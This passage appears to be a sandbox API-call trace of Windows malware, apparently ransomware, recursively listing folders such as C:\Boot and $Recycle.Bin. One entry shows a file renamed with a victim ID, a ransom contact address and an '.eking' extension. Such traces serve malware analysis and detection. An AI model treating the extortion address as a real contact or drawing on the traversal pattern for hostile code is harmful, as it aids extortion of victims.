GetProcessHeap () returned 0x730000 [0062.330] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee38a8 | out: hHeap=0x730000) returned 1 [0062.330] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*", lpFindFileData=0x27fea90 | out: lpFindFileData=0x27fea90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee28c0 [0062.349] FindClose (in: hFindFile=0x2ee28c0 | out: hFindFile=0x2ee28c0) returned 1 [0062.349] GetProcessHeap () returned 0x730000 [0062.349] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee38a8 | out: hHeap=0x730000) returned 1 [0062.349] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*", lpFindFileData=0x27fea90 | out: lpFindFileData=0x27fea90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee28c0 [0064.885] FindClose (in: hFindFile=0x2ee28c0 | out: hFindFile=0x2ee28c0) returned 1 [0064.885] GetProcessHeap () returned 0x730000 [0064.885] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee38a8 | out: hHeap=0x730000) returned 1 [0064.885] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*", lpFindFileData=0x27fea90 | out: lpFindFileData=0x27fea90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee28c0 [0071.351] FindClose (in: hFindFile=0x2ee28c0 | out: hFindFile=0x2ee28c0) returned 1 [0071.351] GetProcessHeap () returned 0x730000 [0071.351] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee38a8 | out: hHeap=0x730000) returned 1 [0071.351] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*", lpFindFileData=0x27fea90 | out: lpFindFileData=0x27fea90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee28c0 [0074.595] FindClose (in: hFindFile=0x2ee28c0 | out: hFindFile=0x2ee28c0) returned 1 [0075.008] GetProcessHeap () returned 0x730000 [0075.008] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee38a8 | out: hHeap=0x730000) returned 1 Thread: id = 19 os_tid = 0x7ec [0052.073] GetProcessHeap () returned 0x730000 [0052.073] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x38) returned 0x754330 [0052.073] GetProcessHeap () returned 0x730000 [0052.074] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x18) returned 0x74df28 [0052.074] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x188 [0052.074] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x18c [0052.074] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x190 [0052.074] GetProcessHeap () returned 0x730000 [0052.074] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x7a6bf8 [0052.074] GetProcessHeap () returned 0x730000 [0052.074] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x7b6c00 [0052.074] GetProcessHeap () returned 0x730000 [0052.075] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x50) returned 0x74f418 [0052.075] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76d30000 [0052.075] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0052.075] Wow64DisableWow64FsRedirection (in: OldValue=0x2cafbb4 | out: OldValue=0x2cafbb4*=0x0) returned 1 [0052.075] GetProcessHeap () returned 0x730000 [0052.075] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74f418 | out: hHeap=0x730000) returned 1 [0052.075] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x12e54bf, lpParameter=0x2cafbbc, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x194 [0052.076] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x12e54bf, lpParameter=0x2cafbbc, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x198 [0052.077] GetProcessHeap () returned 0x730000 [0052.077] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x7c6c08 [0052.077] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x2caf930 | out: lpFindFileData=0x2caf930*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x754370 [0052.077] GetProcessHeap () returned 0x730000 [0052.078] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x7d6c10 [0052.078] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\*", lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7543b0 [0052.078] FindNextFileW (in: hFindFile=0x7543b0, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.078] FindNextFileW (in: hFindFile=0x7543b0, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0052.078] GetProcessHeap () returned 0x730000 [0052.078] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x7e7c20 [0052.079] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7543f0 [0052.079] FindNextFileW (in: hFindFile=0x7543f0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.079] FindNextFileW (in: hFindFile=0x7543f0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0052.079] FindNextFileW (in: hFindFile=0x7543f0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0052.079] FindClose (in: hFindFile=0x7543f0 | out: hFindFile=0x7543f0) returned 1 [0052.079] GetProcessHeap () returned 0x730000 [0052.079] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7e7c20 | out: hHeap=0x730000) returned 1 [0052.079] FindNextFileW (in: hFindFile=0x7543b0, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0052.079] FindClose (in: hFindFile=0x7543b0 | out: hFindFile=0x7543b0) returned 1 [0052.079] GetProcessHeap () returned 0x730000 [0052.079] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7d6c10 | out: hHeap=0x730000) returned 1 [0052.079] FindNextFileW (in: hFindFile=0x754370, lpFindFileData=0x2caf930 | out: lpFindFileData=0x2caf930*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0052.079] GetProcessHeap () returned 0x730000 [0052.079] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x7d7c18 [0052.079] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*", lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6d66840, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x6d66840, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752290 [0053.805] FindNextFileW (in: hFindFile=0x752290, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6d66840, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x6d66840, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.805] FindNextFileW (in: hFindFile=0x752290, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x90cd45e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x90cd45e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0053.805] FindNextFileW (in: hFindFile=0x752290, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x9098e7a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0053.805] FindNextFileW (in: hFindFile=0x752290, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0053.805] FindNextFileW (in: hFindFile=0x752290, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0053.805] FindNextFileW (in: hFindFile=0x752290, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0053.805] FindNextFileW (in: hFindFile=0x752290, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6d66840, ftCreationTime.dwHighDateTime=0x1d696fc, ftLastAccessTime.dwLowDateTime=0x6d66840, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x6d66840, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="BOOTST~1.EKI")) returned 1 [0053.806] FindNextFileW (in: hFindFile=0x752290, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0053.806] GetProcessHeap () returned 0x730000 [0053.806] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e92880 [0053.817] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*", lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7522d0 [0053.817] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.817] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.817] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0053.817] FindClose (in: hFindFile=0x7522d0 | out: hFindFile=0x7522d0) returned 1 [0053.817] GetProcessHeap () returned 0x730000 [0053.817] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e92880 | out: hHeap=0x730000) returned 1 [0053.817] FindNextFileW (in: hFindFile=0x752290, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0053.817] GetProcessHeap () returned 0x730000 [0053.817] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e92880 [0053.817] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*", lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7522d0 [0053.818] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.818] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.818] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0053.818] FindClose (in: hFindFile=0x7522d0 | out: hFindFile=0x7522d0) returned 1 [0053.818] GetProcessHeap () returned 0x730000 [0053.818] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e92880 | out: hHeap=0x730000) returned 1 [0053.818] FindNextFileW (in: hFindFile=0x752290, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0053.818] GetProcessHeap () returned 0x730000 [0053.818] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e92880 [0053.818] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*", lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7522d0 [0053.818] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.818] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.818] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0053.818] FindClose (in: hFindFile=0x7522d0 | out: 